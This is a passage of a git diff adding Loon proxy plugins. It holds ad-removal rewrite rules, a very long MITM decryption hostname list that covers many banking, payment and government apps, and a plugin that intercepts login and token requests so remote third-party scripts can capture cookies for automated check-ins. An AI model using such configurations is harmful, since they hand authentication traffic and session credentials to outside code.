https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/zhihu/zhihu.js, requires-body = true, tag = 知乎移除首页推广, enable={vihu_enable} +http-response ^https:\/\/api\.zhihu\.com\/root\/tab script-path = https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/zhihu/zhihu.js, requires-body = true, tag = 知乎精简顶部标签, enable={vihu_enable} +http-response ^https:\/\/api\.zhihu\.com\/v2\/topstory\/hot-lists\/everyone-seeing\? script-path = https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/zhihu/zhihu.js, requires-body = true, tag = 知乎移除首页推广, enable={vihu_enable} +# 会员页面 - 弹窗、悬浮动图 +http-response ^https:\/\/api\.zhihu\.com\/bazaar\/vip_tab\/header\? script-path = https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/zhihu/zhihu.js, requires-body = true, tag = 知乎移除会员页面推广, enable={vihu_enable} +# 回答详情页 - 评论区顶部、下一个回答 +http-response ^https:\/\/api\.zhihu\.com\/next-(?:bff|data|render) script-path = https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/zhihu/zhihu.js, requires-body = true, tag = 知乎移除回答详情页推广, enable={vihu_enable} +http-response ^https:\/\/api\.zhihu\.com\/questions\/\d+(?:\/answers|\/feeds|\?include=) script-path = https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/zhihu/zhihu.js, requires-body = true, tag = 知乎移除回答详情页推广, enable={vihu_enable} +http-response ^https:\/\/www\.zhihu\.com\/api\/v4\/(?:articles|answers)\/\d+\/recommendations?\? script-path = https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/zhihu/zhihu.js, requires-body = true, tag = 知乎移除回答详情页推广, enable={vihu_enable} +# 其他 - 服务器推送配置 +http-response ^https:\/\/appcloud2\.zhihu\.com\/v3\/config script-path = https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/zhihu/zhihu.js, requires-body = true, tag = 知乎拦截服务器推送配置, enable={vihu_enable} +http-response ^https:\/\/m-cloud\.zhihu\.com\/api\/cloud\/config\/all\? script-path = https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/zhihu/zhihu.js, requires-body = true, tag = 知乎拦截服务器推送配置, enable={vihu_enable} + +# > 招商证券 +# hostname = marketing.cmschina.com +# 首页和理财页面横幅广告 +http-response ^https:\/\/marketing\.cmschina\.com\/mkt\/api\/v1\?.* script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/cmschina/cmschina.js, requires-body=true, timeout=20, tag=招商证券去广告 + +# > 掌上公交 +http-response ^https?:\/\/wx\.mygolbs\.com\/WxBusServer\/ApiData\.do script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/zhangshanggongjiao.js, requires-body=true, timeout=60, tag=掌上公交小程序广告, enable={vhuhgsjn_enable} + +# > 转转 +# “我的”页面去除冗余的模块 +http-response ^https?:\/\/app\.zhuanzhuan\.com\/zz\/transfer\/getmyprofilev3 script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/zhuanzhuan/zhuanzhuan.js, requires-body=true, timeout=60, tag=转转, enable={vrvr_enable} + +# > 中国国际航空 +http-response ^https:\/\/m\.airchina\.com\.cn\/airchina\/gateway\/v\d(\.\d)*\/api\/services script-path=https://raw.githubusercontent.com/zirawell/R-Store/main/Res/Scripts/AntiAd/airchina.js, timeout=60, tag=中国国际航空, enable={vsgogojihhks_enable} + +# > 中国人保 +# 主页面 +http-response ^https?:\/\/zgrb\.epicc\.com\.cn\/G-HAPP\/a\/config\/homeInit\/v script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/picc/picc_ads.js, requires-body=true, timeout=60, tag=中国人保主页面, enable={vsgorfbc_enable} +# 我的页面 +http-response ^https?:\/\/zgrb\.epicc\.com\.cn\/G-HAPP\/mpageconfig\/myPageConfigList\/v script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/picc/picc_ads.js, requires-body=true, timeout=60, tag=中国人保我的页面, enable={vsgorfbc_enable} + + + +# ===================================== +# MITM:中间人攻击,解密/跳过相关域名的内容,"-"开头为跳过 +# ===================================== +[MITM] +hostname = *.gamersky.com, apis.folidaymall.com, emisdatacenteraws.hafoo.com, spamblocker-api.zeekstudio.com, marketing.cmschina.com, www.tailgdd.com, x.seeyouyima.com, axxd.xmseeyouyima.com, config-service.seeyouyima.com, web-stable-cdn.ykccn.com, gw3.ykccn.com, webapi.qmai.cn, miniapp.qmai.cn, ads.ysepay.com, mobile-consumer-sapp.chery.cn, testflight.apple.com, order-app-api.lbdj.com, plt.yorentown.com, lawsonapi.yorentown.com, ecloud.tppension.cntaiping.com, cache.bydauto.com.cn, app-v1.ecoliving168.com, api.51credit.com, patient-api.suh.cn, userpms-api.suh.cn, se-api.djiits.com, a.line.me, ad.line-scdn.net, buy.line.me, cix.line-apps.com, crs-event.line.me, d.line-scdn.net, gw.line.naver.jp, legy.line-apps.com, nelo2-col.linecorp.com, obs.line-scdn.net, scdn.line-apps.com, sch.line.me, static.line-scdn.net, uts-front.line-apps.com, w.line.me, vue3-api.zhixiny.cn, mbank5.jsbchina.cn, mobileapi.xiamenair.com, appapi.caiyicloud.com, res1.hubcloud.com.cn, vapp.tmuyun.com, api2.yaduo.com, api.gongkaoleida.com, magev6.if.qidian.com, syh.zybang.com, www.zybang.com, pzoap.moedot.net, app.api.d3yuiw4.com, app-izz.zhengzhou.gov.cn, creditcard.bankcomm.com, *.byteimg.com.*, www.cntv.cn, *.townmalls.cn, chat-live.soulapp.cn, api.flydigi.com, www.ymm56.com, app.ceair.com, mcsp.cloudpnr.com, saas-ad.cloudpnr.com, g.alicdn.com, api.huachenjie.com, open.e.kuaishou.cn, ad.shunchangzhixing.com, img01.51jobcdn.com, appapi.51job*.com, cupid.51job*.com, api5.youonbike.com, mgesq.api.mgtv.com, *.hitv.com, qiye.gaoding.com, gw.chuangkit.com, zlsdk.1rtb.net, web2.realtech-inc.com, sdk.1rtb.net, gw.xiaocantech.com, delivery-api.imdada.cn, adservice.sigmob.cn, api.u51.com, gateway.36kr.com, xxyx-client-api.xiaoxiaoyouxuan.com, statistic.live.126.net, zgrb.epicc.com.cn, ecssmobile.e-chinalife.com, compus.xiaofubao.com, imgx.jampp.com, ad.life.360.cn, wanciwangdata.oss-cn-beijing.aliyuncs.com, recite.perfectlingo.com, ggc.miguvideo.com, public-deliver9.miguvideo.com, display*-sc.miguvideo.com, recommend-dy.miguvideo.com, app-sc.miguvideo.com, common-sc.miguvideo.com, ggx*.miguvideo.com, ggic*.miguvideo.com, b-api.ins.miaopai.com, social.blued.cn, api.petkit.cn, ams-cdn.cdtft.cn, e.weather.com.cn, beehiveapi.58.com, apio.zhengqi100.com, res.hongyibo.com.cn, misc-api-prd-mx.wandafilm.com, e-static.aia.com.cn, api.sogaha.cn, api-miprint.hannto.com, api.indeedpower.com, alt-r.my.com, m.pvp.xoyo.com, *.pipix.com, daijia.kuaidadi.com, as.xiaojukeji.com, preprod.cdzghome.com, api.xbxxhz.com, sfo.mddcloud.com.cn, mob.mddcloud.com.cn, toblog.ctobsnssdk.com, t-dsp.pinduoduo.com, mobads-pre-config.cdn.bcebos.com, sdk1xyajs.data.kuiniuca.com, conf-darwin.xycdn.com, *.ubixioe.com, www.xiaoxiongmeishu.com, gateway.benewtech.cn, ntt-app.benewtech.cn, api-access.pangolin-sdk-toutiao-b.com, api-access.pangolin-sdk-toutiao.com, api-access.pangolin-sdk-toutiao1.com, dsp-x.jd.com, api-cfg.wtzw.com, p1-lm.adukwai.com, bk.bingo.qq.com, maicai.api.ddxq.mobi, gw.api.ddxq.mobi, user.api.ddxq.mobi, c.zhangle.com, midc.cdn-static.abchina.com.cn, enjoy.cdn-static.abchina.com, ocrifs.ejoy.sinopec.com, apicloud.zol.com, minipro.95504.net, service.haiersmarthomes.com, gugongmini.dpm.org.cn, wechat.tf.cn, chl.tf.cn, mbasecc.bas.cmbchina.com, mbasecc.bcs.cmbchina.com, intellicc.bas.cmbchina.com, bohe.sfo-tx-shanghai-01.saas.sensorsdata.cn, api.boohee.com, lego.boohee.com, status.boohee.com, cdn.133.cn, acs.youku.com, push.m.youku.com, un-acs.youku.com, gw.alicdn.com, tiku.fenbi.com, napi.ithome.com, www.1314zhilv.com, mobile.flightradar24.com, api.17kjs.com, interface.aomiapp.com, oxadmin.cp.com.cn, home.umetrip.com, discardrp.umetrip.com, startup.umetrip.com, dictvip-business.youdao.com, dict.youdao.com, api-overmind.youdao.com, cdke.youdao.com, live.inst-service.htsc.com, gql.reddit.com, gql-fed.reddit.com, imcs.citicbank.com, mkt-gateway.tuhu.cn, tianqi.2345.com, shcss.suning.com, one-app-h5.faw-vw.com, lens.leoao.com, www.binance.info, www.yingwangtech.net, www.binance.com, api.hengdianfilm.com, ump.sz.creditcard.ecitic.com, tbgapplet.carlsberg.asia, mbmodule-openapi.paas.cmbchina.com, api.zhihu.com, appcloud2.zhihu.com, m-cloud.zhihu.com, www.zhihu.com, zhuanlan.zhihu.com, link.zhihu.com, open-cms-api.quark.cn, vv.video.qq.com, evs.500.com, dq.dxy.cn, m.you.163.com, open-cms-api.uc.cn, *.yuxueyuan.cn, pan-api.bitqiu.com, iapi.bishijie.com, run.api.qyfxgd.cn, gongdu.youshu.cc, api.21ec74.com, ztoread.ziroom.com, iphone.ac.qq.com, api.00bang.cn, app.hbooker.com, api.sfacg.com, api3.cls.cn, gateway-api.dushu365.com, external.fcbox.com, dsp.fcbox.com, bdsp-x.jd.com, app.homeinns.com, pic.edaijia.cn, cdn-evone-ceph.echargenet.com, mlol.qt.qq.com, gg.caixin.com, cn-acs.m.cainiao.com, zjdr666.com, adapi.izuiyou.com, access.mypikpak.com, open.fitdays.cn, ap.dongdianqiu.com, 103.91.210.141, js-ad.ayximgs.com, pipi.4kya.com, tft-app.cdtft.cn, t1.market.xiaomi.com, b.appsimg.com, ios.sspai.com, zconfig.alibabausercontent.com, easyreadfs.nosdn.127.net, sp.kaola.com, mapi.dangdang.com, client.qunar.com, slapi.oray.net, api.internetofcity.cn, lcen.xiaote.net, venus.yhd.com, api.shenyin.name, mage*.if.qidian.com, e.dangdang.com, adproxy.autohome.com.cn, explorer.tratao.com, overseas.weico.cc, 118.178.214.118, client.mail.163.com, api.psy-1.com, cdn.*.chelaileapp.cn, *.laichon.com, api-ad-product.huxiu.com, jad-api.jin10.com, appactive.1234567.com.cn, service.busi.inke.cn, dispatcher.camera360.com, 47.110.187.87, ssp.soulapp.cn, api-account.soulapp.cn, api-global.soulapp.me, api-a.soulapp.cn, api-pay.soulapp.cn, gateway-mobile-gray.soulapp.cn, api-chat.soulapp.cn, post.soulapp.cn, api-user.soulapp.cn, beta-api.crunchyroll.com, helper.2bulu.com, tagit.hyhuo.com, top-widgets-api.xiaozujian.com, *mangaapi.manhuaren.*, apis.lifeweek.com.cn, yanxuan.nosdn.127.net, *.peopleapp.com, new-app-api.ylyk.com, *.58cdn.com.cn, creditcardapp.bankcomm.com, lchttpapi.xczim.com, *.chelaile.net.cn, api.xiaoyi.com, api.douban.com, sso.ifanr.com, s3plus.meituan.net, cdb.meituan.com, *.hoopchina.com, goblin.hupu.com, gmp.lakala.com, wallet.lakala.com, hz.yxzq.com, api.winbull8.com, editor.sm.cn, p0.pipi.cn, 182.92.244.70, ad.myfriday.cn, ios-api.lucklyworld.com, www.onstar.com.cn, facade-api.black-unique.com, cstore-en-public-tx.seewo.com, oneapph5.dongfeng-nissan.com.cn, cds.wifi188.com, homefront.qunar.com, sh-gateway.shihuo.cn, cgbank.oss-cn-shenzhen.aliyuncs.com, imeres.baidu.com, api.taptapdada.com, a.sinopecsales.com, api.nj.nbtv.cn, v3.wufazhuce.com, ma-adx.ctrip.com, yun.tuitiger.com, www.pushplus.plus, ad.mcloud.139.com, fastbuyer.zbj.com, xhtz.oss-cn-guangzhou.aliyuncs.com, promote-trx.helipay.com, hfapp-service.qweather.net, api.ulife.group, api.sodalife.xyz, app.chinahxzq.com.cn, hdgateway.zto.com, mobile-api.imlaidian.com, wxs-weixin.sd.zhumanggroup.com, s.jiediankeji.com, smarket.dian.so, file.dian.so, aag.enmonster.com, hd.xiaojukeji.com, freight.xiaojukeji.com, capis*.didapinche.com, ad.xiaotucc.com, mapi.xiaotucc.com, adsoss.zhinengxiyifang.cn, api-marketing.zhinengxiyifang.cn, ads.zhinengxiyifang.cn, app.missevan.com, bd-api.kuwo.cn, h5app.kuwo.cn, bodianimgcdn.kuwo.cn, mgxhtj.kuwo.cn, nmobi.kuwo.cn, searchrecterm.kuwo.cn, audiobookpay.kuwo.cn, musicpay.kuwo.cn, vip1.kuwo.cn, pacdn.m.stock.pingan.com, manga.bilibili.com, bid.adview.cn, zua.zhidiantianxia.cn, app.10086.cn, mrp.mcloud.139.com, *.i18n-pglstatp.com, api.wmpvp.com, m.prod.app.hsbcfts.com.cn, p*.pstatp.com, mapi.txcmapp.com, api-one-wscn.awtmt.com, fintechappdr.cgws.com, m.qianbao.qq.com, j1.pupuapi.com, 54.222.159.138, ad.lofter.com, images.pinduoduo.com, lofter.lf127.net, client.tujia.com, www.gcores.com, app02.vgtime.com, www.vgtime.com, app.meruki.cn, qimg.cdnmama.com, ecapi.lkcoffee.com, capi.lkcoffee.com, m.lkcoffee.com, gsp.gacmotor.com, appdmkj.5idream.net, api.shanghaionstar.com, szdmobile.suzhou.gov.cn, api.bwton.com, z.onewo.com, plough.babytree.com, mapiweb.babytree.com, go.babytree.com, aimg.babytreeimg.com, *.ly.com, *.17usoft.com, *.17u.cn, mobilehotelapi.elong.com, quic-tcmapi.elong.com, blog.nilbt.com, www.banyuetanapp.com, ecard.shenzhentong.com, ccmsupport-sz.tenpay.com, dl.app.gtja.com, fuwu.nhsa.gov.cn, api?.sparke.cn, cube.elemecdn.com, nr-op.elemecdn.com, info.mina.xiaoaisound.com, marketing-aibox.v.mitvos.com, home.mi.com, tk.lanjiyin.com.cn, poplayer.template.alibaba.com, acs.m.taobao.com, amdc.m.taobao.com, guide-acs.m.taobao.com, api.alipan.com, member.alipan.com, acs-m.freshippo.com, mcs-mimp-web.sf-express.com, ucmp.sf-express.com, api.ncarzone.com, api.caiyunapp.com, wrapper.cyapi.cn, mres.aibank.com, direct.z-bank.com, mobile.1qianbao.com, middle.yun.139.com, mcmm.caiyun.feixin.10086.cn, cdn-oss.00bang.cn, mapi.sichuanair.com, b2baifanfan.baidu.com, app.badmintoncn.com, app.bilibili.com, api.bilibili.com, api.live.bilibili.com, grpc.biliapi.net, portal.zjzwfw.gov.cn, shopapi.io.mi.com, www.ahzs10000.com, quanguo.mygolbs.com, open.taou.com, h3.open.taou.com, sichuan.95504.net, app.10099.com.cn, sdk.alibaba.com.ailbaba.me, mrobot.pconline.com.cn, api.gameplus.qq.com, cdn.sdb.com.cn, creditcardapp.bankcomm.cn, router-app-api.jdcloud.com, api.yonghuivip.com, www.haixue.com, cdn.jlbank.com.cn, 3g.csair.com, gha.ghac.cn, webappcfg.paas.cmbchina.com, *.qyfxgd.cn, *.weilai555.com, *.ecoliving168.com, vip7.fzwdyy.cn, wcprd.hilton.com.cn, adx-cn.anythinktech.com, www.didapinche.com, client-api-v2.oray.com, sdk.alibaba.com, bgw.xinyue.qq.com, api.tipsoon.com, imeclient.openspeech.cn, m.360buyimg.com, business-cdn.shouji.sogou.com, ios.sogou.com, android.sogou.com, h5api.sginput.qq.com, m*.amap.com, optimus-ads.amap.com, pv.elife.icbc.com.cn, mangaapi.manhuaren.com, news.ssp.qq.com, ccsp-egmas.sf-express.com, zhidao.baidu.com, api.vistopia.com.cn, bp-api.bestv.com.cn, xyst.yuanfudao.com, mapi.appvipshop.com, guanyu.longfor.com, mp.weixin.qq.com, *.kingsoft-office-service.com, ptmpcap.caocaokeji.cn, pcauto.com.cn, mps.95508.com, i-lq.snssdk.com.*, img0*.luckincoffeecdn.com, app.zhoudamozi.com, apple.fuliapps.com, gurd.snssdk.com.*, peisongapi.meituan.com, cdn.cmgadx.com, api.gamer.com.tw, impservice.dictapp.youdao.com, api.gaoqingdianshi.com, cdn.dianshihome.com, *.kakamobi.cn, 47.100.65.202, youtubei.googleapis.com, app.wy.guahao.com, mapi.sfbest.com, *.xiangxiangapps.com, cmsfile.wifi8.com, prom.mobile.gome.com.cn, nnapp.cloudbae.cn, api.21jingji.com, a.qiumibao.com, jdread-api.jd.com, open.qyer.com, app-api.niu.com, us.l.qq.com, qde.qunar.com, res.pizzahut.com.cn, book.img.ireader.com, aes.acfun.cn, api-new.app.acfun.cn, images.cib.com.cn, jiucaigongshe.oss-cn-beijing.aliyuncs.com, mage.if.qidian.com, app.aa-ab.com, zone.guiderank-app.com, richmanrules.ksedt.com, richmanapi.jxedt.com, geetest.htsc.com, 119.29.29.*, api.m.mi.com, awg.enmonster.com, api.haohaozhu.cn, du.hupucdn.com, apps.api.ke.com, api.ycapp.yiche.com, omgup*.xiaojukeji.com, issuecdn.baidupcs.com, gab.122.gov.cn, www.oschina.net, m.ibuscloud.com, app.api.versa-ai.com, app-conf.ds.163.com, image*.benlailife.com, djcapp.game.qq.com, static.xyzq.cn, iobs.pingan.com.cn, app3.qdaily.com, api.mcd.cn, api.mgzf.com, open.e.kuaishou.com, osg-static.sgcc.com.cn, osg-service.sgcc.com.cn, app.dewu.com, cdn.poizon.com, supportda.ofo.com, r6.mo.baidu.com, res.mi.baidu.com, mbd.baidu.com, capi.mwee.cn, m.client.10010.com, m1.ad.10010.com, res.mall.10010.cn, app.yinxiang.com, img.meituan.net, baidu.com, *-release.wuta-cam.com, cdnmobibank.bankofbeijing.com.cn, mapi.mafengwo.cn, mada-travel.17u.cn, ebk.17u.cn, api.izuiyou.com, appconf.mail.163.com, api.dangdang.com, cmsapi.wifi8.com, daoyu.sdo.com, gw.aihuishou.com, bp-api.bestv.com.cn, bp-image.bestv.com.cn, portal-portm.meituan.com, mall.meituan.com, api.xiaoyuzhoufm.com, cdn-xyk-app.bankofbeijing.com.cn, thor.weidian.com, open3.vistastory.com, i.ys7.com, www.xiaohongshu.com, edith.xiaohongshu.com, ci.xiaohongshu.com, rec.xiaohongshu.com, api.caijingmobile.com, j5.dfcfw.com, capi.douyucdn.cn, icc.one, api.coolapk.com, ios.xiangjiaoapps.com, img.wukongtv.com, service.4gtv.tv, static.api.m.panda.tv, api-mifit*.huami.com, channel.beitaichufang.com, static.95508.com, wap.bank.ecitic.com, file.cibfintech.com, api*.futunn.com, mob.mddcloud.com, i.snssdk.com.*, images.client.vip.xunlei.com, api-shoulei-ssl.xunlei.com, elemecdn.com, l*.51fanli.net, app.zhuanzhuan.com, *.bdstatic.com, rs.creditcard.cmbc.com.cn, ocean.shuqireader.com, api.fengshows.com, api.touker.com, app.variflight.com, sofire.baidu.com, www.cmbc.com.cn, img01.10101111cdn.com, r.inews.qq.com, *.xima*.*, afd.baidu.com, appwk.baidu.com, ios.lantouzi.com, mpcs.suning.com, m.tuniu.com, api.jxedt.com, dns.jd.com, api.m.jd.com, m.jd.com, *.k.sohu.com, www.nfmovies.com, static01.versa-ai.com, gfp.veta.naver.com, mpos-pic.helipay.com, api.yikaobang.com.cn, god.gameyw.netease.com, image.spdbccc.com.cn, fbchina.flipchina.cn, media.qyer.com, webcast-open.douyin.com, beta-luna.douyin.com, ether-pack.pangolin-sdk-toutiao.com, api-access.pangolin-sdk-toutiao?.com, sf*-fe-tos.pglstatp-toutiao.com, restapi.iyunmai.com, static.shihuocdn.cn, weixin110.qq.com, appapi.huazhu.com, hweb-hotel.huazhu.com, hweb-manager.huazhu.com, lban.spdb.com.cn, wap.spdb.com, smart.789.image.mucang.cn, btrace.qq.com, img.dailmo.com, app.95598pay.com, reading-hl.snssdk.com, adproxy.autohome.com, ma.ofo.com, dl*.app.gtja.com, activity2.api.ofo.com, luckman.suning.com, app.xinpianchang.com, static.gameplus.qq.com, portal-xunyou.qingcdn.com, notch.qdaily.com, pan.baidu.com, tiebac.baidu.com, *.tieba.baidu.com, snailsleep.net, *.xmcdn.*, api.laifeng.com, fuss10.elemecdn.com, smkmp.96225.com, static.creditcard.hxb.com.cn, sf3-be-pack.pglstatp-toutiao.com, ossgw.alicdn.com, *.mgtv.com, oral.youdao.com, p.kuaidi100.com, video-dsp.pddpic.com, mlife.jf365.boc.cn, heic.alicdn.com, acs.m.goofish.com, g-acs.m.goofish.com, dinamicx.alibabausercontent.com, www.tsytv.com, app2.autoimg.cn, www.iyingdi.cn, m.baidu.com, webboot.zhangyue.com, api4.bybutter.com, security.wechat.com, api.xiachufang.com, 4gimg.map.qq.com, p.du.163.com, support.you.163.com, apiwz.midukanshu.com, tc.qq.com, img.admobile.top, api.pinduoduo.com, cheyouapi.ycapp.yiche.com, api.kkmh.com, ad.ysepay.com, ports3.gtimg.com, i*.hdslb.com, m.yap.yahoo.com, webcdn.m.qq.com, rtbapi.douyucdn.cn, dapis.mting.info, qidian.qpic.cn, games.mobileapi.hupu.com, emdcadvertise.eastmoney.com, mime.baidu.com, api.club.lenovo.cn, img.allahall.com, staticsns.cdn.bcebos.com, api.wfdata.club, dsa-mfp.fengshows.cn, flowplus.meituan.net, ssp.dzh.com.cn, adm.10jqka.com.cn, stat.10jqka.com.cn, api.xueqiu.com, open.xueqiu.com, stock.xueqiu.com, 39.103.79.14, 39.106.97.84, 47.95.49.75, 101.201.62.20, 101.201.62.26, 101.201.175.228, 124.250.48.3, 182.92.145.50, 182.92.251.113, ios.fuliapps.com, pt-starimg.didistatic.com, *.pipiapps.com, adstatic.peopleapp.com, otheve.beacon.qq.com, ptf.flyertrip.com, api.qbb6.com, res.xiaojukeji.com, conf.diditaxi.com.cn, yunbusiness.ccb.com, img.alicdn.com, capis.didapinche.com, ms.jr.jd.com, m.creditcard.ecitic.com, img.gdoil.cn, api.hanju.koudaibaobao.com, api.jr.mi.com, imagev2.tx.xmcdn.com, upload-bbs.mihoyo.com, gw-passenger.01zhuanche.com, img.yun.01zhuanche, ndstatic.cdn.bcebos.com, fc-video.cdn.bcebos.com, rp.hpplay.cn, dyncdn.me, pss.txffp.com, dxy.com, staticlive.douyucdn.cn, edit.sinaapp.com, www1.elecfans.com, *.googlevideo.com, pocketuni.net, j-image.missfresh.cn, cms.daydaycook.com, api.cloud.189.cn, mobile.cebbank.com, yghsh.cebbank.com, y.gtimg.cn, music.y.qq.com, dss0.bdstatic.com, tb1.bdstatic.com, tb2.bdstatic.com, ss0.bdstatic.com, gss0.bdstatic.com, newclient.map.baidu.com, ossweb-img.qq.com, mea.meitudata.com, adui.tg.meitu.com, list-app-m.i4.cn, api.daydaycook.com, learn.chaoxing.com, ipv4.music.163.com, interface9.music.163.com, interface.music.163.com, interface3.music.163.com, res.kfc.com.cn, gw.kaola.com, api.huomao.com, mi.gdt.qq.com, fmapp.chinafamilymart.com.cn, app-gw.csdn.net, gw.csdn.net, app.58.com, cap.caocaokeji.cn, live-ads.huya.com, cdn.wup.huya.com, cdnfile1.msstatic.com, business.msstatic.com, ct.xiaojukeji.com, homepage-api.smzdm.com, haojia-api.smzdm.com, app-api.smzdm.com, user-api.smzdm.com, article-api.smzdm.com, qianbao.smzdm.com, s-api.smzdm.com, haojia.m.smzdm.com, adpai.thepaper.cn, www.baidu.com, *.tv.sohu.com, ih2.ireader.com, common.diditaxi.com.cn, display.wting.info, kano.guahao.cn, i-lq.snssdk.com, cloud.189.cn, ad.12306.cn, dl-cu-hz.lechange.cn, spclient.wg.spotify.com, dsp-impr2.youdao.com, api.rr.tv, *.pglstatp-toutiao.com, mobile.yangkeduo.com, api.yangkeduo.com, xyz.cnki.net, api.bjxkhc.com, d.psbc.com, fm.fenqile.com, client.app.coc.10086.cn, img.ddrk.me, ddrk.me, img.jiemian.com, message.shuqireader.com, ut2.shuqistat.com, dsp.toutiao.com, sq.sljkj.com, img-tailor.11222.cn, feedback.uc.cn, *.shuqireader.com, 101.91.69.26, gateway.shouqiev.com, api.gotokeep.com, kad.gotokeep.com, static1.keepcdn.com, mbank.grcbank.com, -i.vip.iqiyi.com, *.iqiyi.com, api-sams.walmartmobile.cn, api.htp.ad-scope.com.cn, appgw.ddpai.com, init.sms.mob.com, www.flyert.com, hcz-member.pingan.com.cn, jp.rsscc.com, jt.rsscc.com, appapi.51job*.com, cupid.51job*.com, api-ac.liepin.com, api-wanda.liepin.com, intellicc.bcs.cmbchina.com, api-cslp-emt.amazon.cn, m.airchina.com.cn, apphw.ddpai.com, waimai-guide.ele.me, 39.98.135.211 + diff --git a/Loon/plugin/cookies.plugin b/Loon/plugin/cookies.plugin new file mode 100644 index 00000000..52087f0f --- /dev/null +++ b/Loon/plugin/cookies.plugin @@ -0,0 +1,503 @@ +#!name=获取cookie&token合集 +#!desc=整合大部分获取cookie和token的配置Loon版,获取后禁用该配置 +#!author=奶思[https://github.com/fmz200] +#!homepage=https://github.com/fmz200/wool_scripts +#!icon=https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/others/cookie.png +#!raw-url=https://github.com/fmz200/wool_scripts/raw/main/Loon/plugin/cookies.plugin +#!tg-group=https://t.me/lanjieguanggao +#!category=奶思的模块 +#!tag = fmz200 +#!system = iOS, iPadOS +#!system_version = +#!loon_version = +#!date = 2025-04-25 17:10:00 +############################################# + + +[Script] +# >>>>>>>>>>>>>>> ✅ 0 ✅ <<<<<<<<<<<<<< + + + + +# >>>>>>>>>>>>>>> ✅ 1 ✅ <<<<<<<<<<<<<< + + + + +# >>>>>>>>>>>>>>> ✅ 2 ✅ <<<<<<<<<<<<<< + + + + +# >>>>>>>>>>>>>>> ✅ 3 ✅ <<<<<<<<<<<<<< + + + + +# >>>>>>>>>>>>>>> ✅ 4 ✅ <<<<<<<<<<<<<< + + + + +# >>>>>>>>>>>>>>> ✅ 5 ✅ <<<<<<<<<<<<<< + + + + +# >>>>>>>>>>>>>>> ✅ 6 ✅ <<<<<<<<<<<<<< + + + + +# >>>>>>>>>>>>>>> ✅ 7 ✅ <<<<<<<<<<<<<< + + + + +# >>>>>>>>>>>>>>> ✅ 8 ✅ <<<<<<<<<<<<<< + + + + +# >>>>>>>>>>>>>>> ✅ 9 ✅ <<<<<<<<<<<<<< + + + + +# >>>>>>>>>>>>>>> ✅ A ✅ <<<<<<<<<<<<<< +# > AcFun +# hostname = +http-request ^https:\/\/api\-new\.app\.acfun\.cn\/rest\/app\/user\/personalInfo script-path=https://raw.githubusercontent.com/chavyleung/scripts/master/acfun/acfun.cookie.js, timeout=60, tag=AcFun + +# > APK.TW +# hostname = +http-request ^https://apk.tw\/member.php(.*?)action=login script-path=https://raw.githubusercontent.com/chavyleung/scripts/master/apktw/apktw.cookie.js, requires-body=true, timeout=60, tag=APK.TW + +# > 阿里云盘 +# hostname = auth.alipan.com, auth.aliyundrive.com +http-request ^https:\/\/(auth|aliyundrive)\.alipan\.com\/v2\/account\/token script-path=https://gist.githubusercontent.com/Sliverkiss/33800a98dcd029ba09f8b6fc6f0f5162/raw/aliyun.js, requires-body=true, timeout=60, tag=阿里云盘@Sliverkiss +http-response ^https:\/\/auth.aliyundrive.com\/v2\/account\/token script-path=https://raw.githubusercontent.com/lowking/Scripts/master/ali/aliYunPanCheckIn.js, requires-body=true, timeout=60, tag=阿里云盘@lowking + +# > 爱奇艺 +# hostname = +http-request ^https:\/\/passport\.iqiyi\.com\/apis\/user\/ script-path=https://raw.githubusercontent.com/NobyDa/Script/master/iQIYI-DailyBonus/iQIYI.js, timeout=60, tag=爱奇艺 + + + +# >>>>>>>>>>>>>>> ✅ B ✅ <<<<<<<<<<<<<< +# > bing必应 +# hostname = +http-request ^https:\/\/rewards\.bing\.com script-path=https://raw.githubusercontent.com/lowking/Scripts/master/bing/bingPoint.js, timeout=60, tag=bing获取积分cookie + +# > 百度贴吧 +# hostname = +http-request https?:\/\/(c\.tieba\.baidu\.com|180\.97\.\d+\.\d+)\/c\/s\/login script-path=https://raw.githubusercontent.com/NobyDa/Script/master/BDTieBa-DailyBonus/TieBa.js, timeout=60, tag=百度贴吧@NobyDa +# 贴吧 获取cookie1 +http-request https?:\/\/(c\.tieba\.baidu\.com|180\.97\.\d+\.\d+)\/c\/s\/login script-path=https://raw.githubusercontent.com/blackmatrix7/ios_rule_script/master/script/tieba/tieba_signin.js, timeout=60, tag=百度贴吧@bm7 +# 贴吧_获取cookie2 +http-request ^https?:\/\/c\.tieba\.baidu\.com\/c\/s\/channelIconConfig script-path=https://raw.githubusercontent.com/blackmatrix7/ios_rule_script/master/script/tieba/tieba_signin.js, timeout=60, tag=百度贴吧@bm7 +# 贴吧_获取cookie3 +http-request ^https?:\/\/tiebac\.baidu\.com\/c\/u\/follow\/getFoldedMessageUserInfo script-path=https://raw.githubusercontent.com/blackmatrix7/ios_rule_script/master/script/tieba/tieba_signin.js, timeout=60, tag=百度贴吧@bm7 + +# > 哔哩哔哩漫画 +# hostname = +http-request ^https:\/\/passport\.biligame\.com\/api\/login\/sso.+?version%22%3A%22(3|4|5) script-path=https://raw.githubusercontent.com/NobyDa/Script/master/Bilibili-DailyBonus/Manga.js, timeout=60, tag=哔哩哔哩漫画@NobyDa + +# 哔哩哔哩大会员特权领取cookie +http-request https:\/\/api.bilibili.com\/x\/vip\/privilege\/receive script-path=https://raw.githubusercontent.com/lowking/Scripts/master/bilibili/privilegeReceive.js, timeout=60, tag=哔哩哔哩大会员特权获取cookie@lowking + +# 哔哩哔哩番剧监控cookie +http-request https?:\/\/app.bilibili.com\/x\/v2\/space\/bangumi script-path=https://raw.githubusercontent.com/lowking/Scripts/master/bilibili/bangumiMonitor.js, timeout=60, tag=哔哩哔哩番剧监控cookie@lowking + +# 哔哩哔哩 +http-request ^https:\/\/(www|live)\.bilibili\.com\/?.? 